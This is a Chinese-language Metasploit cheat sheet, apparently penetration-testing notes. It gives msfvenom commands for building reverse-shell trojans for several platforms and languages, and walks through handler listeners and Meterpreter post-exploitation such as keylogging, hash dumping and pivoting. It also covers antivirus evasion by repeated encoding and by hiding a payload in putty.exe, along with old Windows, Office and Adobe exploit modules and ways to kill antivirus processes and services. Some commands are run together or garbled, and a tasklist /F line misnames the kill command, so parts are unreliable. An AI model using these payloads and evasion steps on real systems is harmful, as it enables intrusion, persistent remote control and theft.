1、Metasploit整体框架：
Shell中直接输入msfconsole
启动PostgreSQL数据库服务 ：service postgresql start 监听5432端口
初始化Metasploit数据库 ：msfdb init
查看数据库联接情况 ：msfconsole db_status
建立数据库缓存 ：msfconsole db_rebuild_cache
专业术语
– Exploit，攻击工具/代码
– Payload，攻击载荷
– Shellcode

– Listener，监听器
目录结构：
Kali Linux /usr/share/metasploit-framework
常用命令
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数

msfvenom （攻击载荷生成和编码器）
主要参数：
-p payload
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
-f exe生成EXE格式
-l 可以查看可以利用payload eg：msfvenom -l | grep windows | grep x64 | grep tcp
LHOST,LPORT 监听上线的主机IP和端口
1、生成木马文件
操作系统
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=xx -f macho > shell.macho
开发语言：
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=x.x.x.x LPORT=xx -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '
' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=xx -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=xx -f war > shell.war
脚本语言：
Python:
msfvenom -p cmd/unix/reverse_python LHOST=x.x.x.x LPORT=xx -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=x.x.x.x LPORT=xx -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=x.x.x.x LPORT=xx -f raw > shell.pl
操作举例：
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=172.16.0.4 LPORT=443 -f exe > abc.exemsf > use exploit/multi/handlermsf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options
msf exploit(handler) > set LHOST 172.16.0.4
msf exploit(handler) > set ExitOnSession false #让connection保持连接(即使一个连接退出,仍然保持listening状态)
msf exploit(handler) > exploit -j -z #-j(计划任务下进行攻击，后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs #查看后台攻击任务
msf exploit(handler) > kill <id> #停止某后台攻击任务
msf exploit(handler) > sessions -l #(查看会话)
msf exploit(handler) > sessions -i 2 #选择会话
msf exploit(handler) > sessions -k 2 #结束会话
Ctrl+z 把会话放到后台
Ctrl+c 结束会话
Meterpreter后攻击：
Meterpreter提供的功能包括反追踪、纯内存工作模式、系统 信息获取、密码哈希导出、文件上传下载、屏幕截取、键盘记 录、权限提升、跳板攻击等等。
meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表

meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数：
nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致
quite_mode 设置成安静模式：去掉如下参数前面的注释
免杀技术：
1、多次编码免杀
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -f exe -o /var/www/html/reverse_http_encode.exe
2、自定义二进制代码的文件模板免杀
使用“putty.exe”作为文件模板，而且随着putty程序运行而隐蔽同时运行，还使用编码器进行了编码。
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.80.12 LPORT=443 -e x86/shikata_ga_nai-i5 -x ~/putty.exe
3、使用Veil生成免杀代码
下载地址：
https://github.com/Veil-Framework/Veil-Evasion (只集合了Evasion)
https://github.com/Veil-Framework/Veil
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
cd setup
sudo ./setup.sh -c#一路回车就行，默认安装就行
cd ~/Veil
./Veil.py
use Evasion #使用Veil-Evasion工具
list #列举所有模块
use #使用某个模块
use c/meterpreter/rev_http.py
set #设置变量
generate #生成可执行代码
接着就是加载msf监听模块，等待用户的上线了

msf> hosts -c address,os_name,os_flavor
msf> db_import nexposelist.xml
2.8 使用Dradis框架共享扫描信息
3 操作系统漏洞评估与利用
1、Windows XP
1.1、MS03_26_dcom
exploit/windows/dcerpc/ms03_026_dcom
Rank 为：great port:135
DCOM(分布式组件对象模型)接口，运行在RPC的端口上，RPC协议中对畸形消息的处理存在错误
payload windows/adduser
payload windows/shell/bind_tcp
#可以找到原文件查看源码adduser是怎么实现的。
2、Windows 2003 Server
2.1、MS08_067_netapi
exploit/windows/smb/ms08_067_netapi
Rank 为：great port:445
netapi32.dll执行路径连接代码中的分析漏洞，可绕过NX特性，防止Server服务崩溃。
3、Windows 7/Server 2008 R2
3.1、ms10_006_negotiate_response_loop
auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
Rank:normal
将UNC路径传递给web页面，并诱使目标用户执行，用户打开共享文件之后，目标系统将完全崩溃，只能重新启动恢复
msf exploit(ms08_067_netapi) > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop msf auxiliary(ms10_006_negotiate_response_loop) > run [*] Starting the malicious SMB service... [*] To trigger, the vulnerable client should try to access: \127.0.0.1SharedAnything [*] Server started.
4、Linux
4.1、Samba
exploit/linux/samba/lsa_transnames_heap
CVE-2007-2446
激发Samba守护进程的LSA RPC服务中的堆溢出漏洞，并使用talloc chunk 重写方法（credit Ramon and Adriano）
使用用于 Samba 3.0.21-3.0.24版本
值的学习的两个模块：
1、Samba chain_reply 内存损坏漏洞：
分配给响应数据包的内存，可通过传递超过目标缓冲区大小的值实现
受影响版本：Samba 3.3.13之前
2、Samba trans2open 溢出：
利用没有noexec栈选项的 x86 Linux机器中的漏洞
受影响版本：Samba 2.2.0-2.2.8
5、理解Windows DLL注入
5.1、webdav_dll_hijacker
exploit/windows/browser/webdav_dll_hijacker
创建包含漏洞的目录路径，目标机器需要执行该路径以便激活漏洞。
目录可以是文件、提前的文件夹、USB驱动器或网络共享等。
创建的文件本身是无害的，但会执行DLL注入漏洞来攻击目标系统
DLL（动态链接库）是微软Windows操作系统中共享库的一种实现。
运行时loadlibray()函数将加载运行时必须的DLL，如果没有指定位置，或者提供非全限定的库路径时，
会使用自定义的搜索顺序进行DLL搜索，其中默认搜索位置就是程序的当前工作目录。
由于当前工作目录是由攻击者控制的，攻击者可以在其中添加恶意的DLL代码，并由操作系统执行，
从而使攻击者可以执行外部脚本，攻击载荷成功执行后，会建立shell链接。
5.2、探测DLL注入漏洞
H.D.Moore的DLLHijackAudit安全审计工具。
https://github.com/rapid7/DLLHijackAuditKit/releases/
6、客户端漏洞利用与防病毒软件规避
6.1 IE浏览器
1.不安全脚本错误配置
exploit/windows/browser/ie_unsafe_scripting
漏洞影响：IE 6、7（XP、2003）IE 8（WIN7）
Tools | Internet | Options | Security | Custom Level | Initialize and script ActiveX controls not marked as safe | Enable
exploit命令生成一个恶意链接，受害者点击链接后，IE崩溃或者显示空白页。（IE 8 需要点击Allow按钮）
允许对ActiveX控件WScript.Shell 进行访问，WScript.Shell对象提供了读取文件系统、环境变量、读取并修改注册表，快捷方式管理等函数，
从而使攻击者利用控件创建JavaScript脚本与目标主机文件系统进行交互并运行相应命令。
2.Internet Explorer Aurora内存损坏
exploit/windows/browser/ms10_002_aurora
CVE-2010-0249只针对IE 6内存损坏漏洞攻击
2010中期，攻击者利用“Operation Aurora”攻击过一些顶级公司
3.CSS递归调用内存损坏
exploit/windows/browser/ms11_003_ie_css_import
CVE-2010-3971漏洞影响：IE 8 （win7 和Server 2008）
payload：windows/meterpreter/bind_tcp
生成一个恶意链接，目标主机使用IE打开后，IE浏览器将完全“冻结”，并消耗大量的系统资源，目标主机将不得不关闭浏览器
InitialAutoRunScript 'migrate -f'
migate -f:
将攻击载荷从iexplore.exe进程转移给notepad.exe进程。
有助于保持持久链接，即便用户关闭了浏览器，还可以通行，因为shell已经转移到另外的进程。
如果提示：“Target machine does not have the .NET CLR 2.0.50727”，需要将IE设置为默认浏览器即可
6.2 Microsoft Offices
1.Word RTF栈溢出
exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
CVE-2010-3333漏洞影响：Office 2010 和 Office 2007
payload：windows/meterpreter/reverse_tcp
恶意word文档将非法值传递给word分析器，分析器无法识别非法值从而导致缓冲区溢出。
然后攻击载荷开始运行，并建立链接。是否攻击成功，取决于目标机器自身状况，
因为Windows ASLR（地址空间布局随机化）会阻止执行任意代码。
2.Excel 2007 缓存区溢出
exploit/windows/fileformat/ms11_021_xlb_bof
CVE-2011-0105漏洞影响：Excel 2007
执行恶意xlb文件导致栈溢出执行任意代码
6.3 Adobe
1.Adobe Reader until.printft ()缓冲区溢出
exploit/windows/fileformat/adobe_utilprintf
CVE-2008-2992漏洞影响：< 8.1.3
快速恢复渗透过程：exploit/multi/handler
特殊的监听器模块
Adobe Reader 软件中JavaScript函数util.printf() 的实现出现了错误。
该函数将其接受的参数转换为字符串，但是使用最开始的16个数字，
其余部分使用固定值0（0x30）进行填充，如果向该函数传递一个超长度值...
var num 1.2
util.printf("%5000f",num)
这简单的2行代码的功能是将字节0x20在栈中复制5000次，从而可以控制异常处理程序，并在尝试写入栈后的内存端时触发异常。
6.4 msfpayload
BT下运行，kali2已将msfpayloa 和 msfencoe合并成msfvenom
攻击载荷windows/shell/reverse_tcp生成其C语言形式的shellcode
msfpayload windows/shell/reverse_tcp o msfpayload windows/shell/reverse_tcp LHOST = 192.168.56.101 LPORT = 4441 o msfpayload windows/shell/reverse_tcp LHOST = 192.168.56.101 LPORT = 4441 C msfpayload windows/shell/reverse_tcp LHOST = 192.168.56.101 LPORT = 4441 X > .local/setup.exe
6.5 msfencoe
BT下运行，kali2已将msfpayloa 和 msfencoe合并成msfvenom
3个案例：
msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e cmd/generic_sh -c 2 -t exe > .local/encoded.exe msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e x86/shikata_ga_nai -c 20 -t exe -x cmd.exe > .local/cmdencoded.exe msfpayload windows/shell/reverse_tcp LHOST=192.168.56.101 R | msfencode -e x86/shikata_ga_nai -c 20 -t vbs -x cmd.exe > .local/cmdtest2.vbs
6.6 killav.rb
1. run kalliav
meterpreter> run killav
2.解读killav.rb脚本
kali2：/usr/share/metasploit-framework/scripts/meterpreter/killav.rb
以%W数组的形式包含了一个完整的进程列表，在目标机上进行搜索并杀禁制。
数组名在目标系统中寻找匹配，找到后使用process.kill函数禁制该进程
3.还是没被禁用呢？
可能杀毒软件是以服务的形式运行，杀死进程后，马上服务又把它开启进程。
进程是基于用户的，而服务是基于系统的。
假如是AVG防病毒软件：
tasklist：寻找各种可用的任务
/SVC参数只列出服务形式运行的进程
/F 参数用于强制禁制进程
tasklist /SVC | find /I "avg"
tasklist /F /IM "avg*"
C:Userslenovo>tasklist /SVC | find /I "avg" C:Userslenovo>tasklist /F /IM "avg*"
4.有些服务还是无法禁用呢？
net stop
sc config
